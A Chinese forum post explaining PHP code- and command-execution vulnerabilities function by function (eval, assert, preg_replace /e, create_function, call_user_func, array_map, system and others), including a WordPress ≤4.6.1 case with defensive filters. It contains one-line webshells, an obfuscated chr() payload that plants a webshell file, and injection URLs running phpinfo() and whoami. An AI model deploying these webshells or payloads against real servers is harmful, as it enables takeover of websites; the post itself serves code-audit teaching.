本帖最后由 pukr 于 2020-3-12 22:46 编辑
2020-03-12
命令执行漏洞 常见危险函数 eval();
把括号内的字符串当成php代码来执行(里面必须是字符串,且必须用双引号)。常见一句话木马:
- <?php @eval($_POST[‘pass’]);?>
- <?php @eval($_GET[‘pass’]);?>
复制代码
assert(); 如果assert内的参数是字符串,那么assert把整个字符串参数当php代码执行,而eval内的参数只能是字符串,而且只把合法的php代码执行. assert也有一句话木马: - <?php assert($_GET[‘pass’]);?>
复制代码
payload:
- http://127.0.0.1:8081/cms/cms/test0.php?pass=phpinfo()
复制代码
可以不用分号
preg_replace(); 搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。 慎用preg_replace危险的/e修饰符(一句话后门常用) preg_replace函数原型:
- mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
复制代码
特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:
- <?php
- preg_replace ("/(</?)(w+)([^>]*>)/e",
- "\1.strtoupper(\2).\3",
- $html_body);
- ?>
复制代码
这将使输入字符串中的所有 HTML 标记变成大写。
安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:
- <?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>
复制代码
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
- ?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
- chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
- chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
- chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
复制代码
密文对应的明文是: - fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
复制代码
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。 再来一个有难度的例子:
- <?php
- function test($str)
- {
- }
- echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
- ?>
复制代码提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。因为在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。注意:双引号中的函数不会被执行和替换,而是被解释执行。通过{${}}构造出一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。如何防范这种漏洞呢?将'test("\1")'修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。 call_user_func(); call_user_func — 把第一个参数作为回调函数调用 说明: call_user_func ( callable $callback [,mixed $parameter [, mixed $... ]] ) : mixed 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 参数: callback:将被调用的回调函数(callable)。 parameter:0个或以上的参数,被传入回调函数。 请注意,传入call_user_func()的参数不能为引用传递。 一句话: - <?php call_user_func($_GET[‘func’],$_GET[‘param’]);?>
- payload:
- http://127.0.0.1:8081/cms/cms/test0.php?func=assert¶m=${phpinfo()}
复制代码
call_user_func_array(); call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数 call_user_func_array (callable $callback , array $param_arr ) : mixed 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
- 一句话:
- <?php call_user_func_array($_GET[‘func’],$_GET[‘param’]);?>
- payload:
- http://127.0.0.1:8081/cms/cms/test0.php?func=assert¶m[]=${phpinfo()}
复制代码
create_function(); 适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称。 语法: create_function(string$args,string $code) string $args 声明的函数变量部分 string $code 执行的方法代码部分 官方案例:
- <?php
- $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
- echo "New anonymous function: $newfunc\n";
- echo $newfunc(2, M_E) . "\n";
- ?>
复制代码
分析: create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。 create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。 因此,上述匿名函数的创建与执行过程等价于: - <?php
- function lambda_1($a,$b){
- return "ln($a) + ln($b) = " . log($a * $b);
- }
- ?>
复制代码create_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的payload构造,从而进行漏洞挖掘和找出存在的缺陷。 注入案例: 案例一 - <?php
- error_reporting(0);
- $sort_by = $_GET['sort_by'];
- $sorter = 'strnatcasecmp';
- $databases=array('1234','4321');
- $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
- usort($databases, create_function('$a, $b', $sort_function));
- ?>
复制代码
- payload:
- http://127.0.0.1:8081/cms/cms/test0.php?sort_by=%27%22]);}phpinfo();//
- http://127.0.0.1:8081/cms/cms/test0.php?sort_by=%27%22]);}system(%22whoami%22);//
复制代码
- 还原实际的组合过程:
- $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();//
- 匿名函数实际的执行:
- function niming($a,$b){
- return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();//
- }
- 回车换行整理一下:
- function niming($a,$b){
- return 1 * ' . $sorter . '($a["' . $sort_by '"]);
- }
- phpinfo();//
- }
复制代码
案例二
- <?php
- $c=$_GET['c'];
- $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
- $array=array('reall long string here,boy','this','midding lenth','larget');
- usort($array,$lambda);
- print_r($array);
- ?>
复制代码
- payload:http://127.0.0.1:8081/cms/cms/test0.php?c=1));}phpinfo();//
复制代码
- 还原实际的组合过程:
- $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
- 匿名函数实际的执行:
- function ft($a,$b){
- return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
- }
- 回车换行整理一下:
- function ft($a,$b){
- return (strlen($a)-strlen($b)+" . "strlen(1));
- }
- phpinfo();
- /*));
- }
- 一句话:<?php $func=create_function(‘’,$_POST[‘cmd’]);$func();?>
复制代码
实战: WordPress <= 4.6.1 使用语言文件任意代码执行漏洞 接下来我们看这个版本的WordPress中,一处用到create_function的地方,在wp-includes/pomo/translations.php第203-209行:
- /**
- * Makes a function, which will return the right translation index, according to the
- * plural forms header
- * @param int $nplurals
- * @param string $expression
- */
- function make_plural_form_function($nplurals, $expression) {
- $expression = str_replace('n', '$n', $expression);
- $func_body = "
- \$index = (int)($expression);
- return (\$index < $nplurals)? \$index : $nplurals - 1;";
- return create_function('$n', $func_body);
- }
复制代码
Plural-Froms这个header就是上面的函数所需要处理的,其中nplurals的值即为$nplurals的值,而plural的值正是我们需要的$expression的值。所以我们将字体文件进行如下改动:
我们payload中的)首先闭合了前面的(,然后;结束前面的语句,接着是我们的一句话木马,然后用/*将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload:
防范:添加过滤
- $not_allowed = array(";", ")", "}");
- $experssion = str_replace($not_allowed, "", $expression);
复制代码
array_map(); (PHP 4 >= 4.0.6, PHP 5, PHP 7) array_map — 为数组的每个元素应用回调函数 array_map ( callable $callback , array$array1 [, array $... ] ) : array array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。 callback:回调函数,应用到每个数组里的每个元素。 array1:数组,遍历运行 callback 函数。 ...:数组列表,每个都遍历运行 callback 函数。 返回数组,包含 callback 函数处理之后 array1 的所有元素。
- <?php
- $array = array(0,1,2,3,4,5);
- array_map($_GET['param'],$array);
- ?>
复制代码
- payload:
- http://127.0.0.1:8081/cms/cms/test0.php?param=phpinfo
复制代码没有括号和分号
案例二
- <?php
- array_map($_GET[‘a’], $_GET[‘b’]);
- ?>
复制代码
- payload:
- http://127.0.0.1:8081/cms/cms/test0.php?a=system&b[]=whoami
复制代码
- payload:
- http://127.0.0.1:8081/cms/cms/test0.php?a=assert&b[]=phpinfo()
复制代码
system(); 执行外部程序,并显示输出 system函数将括号内的字符串当作bash语句执行。 system ( string $command [, int &$return_var ]) $return_var 命令执行后的返回状态,值是0表示成功 $last_line = system('ls', $retval);
区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码 passthru(); passthru — 执行外部程序并且显示原始输出。 passthru ( string $command [, int &$return_var ])
exec(); exec — 执行一个外部程序 exec ( string $command [, array &$output [, int &$return_var ]]) 把结果保存在$output数组中,输出$output会显示结果。
反单引号 在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。
pcntl_exec(); pcntl_exec — 在当前进程空间执行指定程序 pcntl_exec ( string$path [, array $args [, array $envs ]] ) : void以给定参数执行程序。 path:path必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 args:args是一个要传递给程序的参数的字符串数组。 envs:envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
- <?php
- pcntl_exec ( "/bin/bash" , array("whoami"));
- ?>
复制代码
shell_exec(); shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 和exec();的区别: shell_exec将所有输出流作为字符串返回。exec默认情况下返回输出的最后一行,但可以将所有输出提供为指定为第二个参数的数组。 shell_exec- 通过shell执行命令并将完整输出作为字符串返回 exec - 执行外部程序。 不同之处在于,shell_exec将输出作为返回值。 使用exec()可以传递一个可选的param变量,该变量将接收一组输出行。在某些情况下,这可能会节省时间,尤其是在命令输出已经是表格的情况下。 相反,如果命令的输出是xml或json,那么将每一行作为数组的一部分并不是你想要的,因为你需要将输入后处理成其他形式,所以在这种情况下使用shell_exec 。 popen(); 功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 popen — 打开进程文件指针 popen ( string$command , string $mode ) : resource 打开一个指向进程的管道,该进程由派生给定的command 命令执行而产生。 command:命令。 mode:模式。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。 当模式为 'r',返回的文件指针等于命令的 STDOUT,当模式为 'w',返回的文件指针等于命令的 STDIN。
|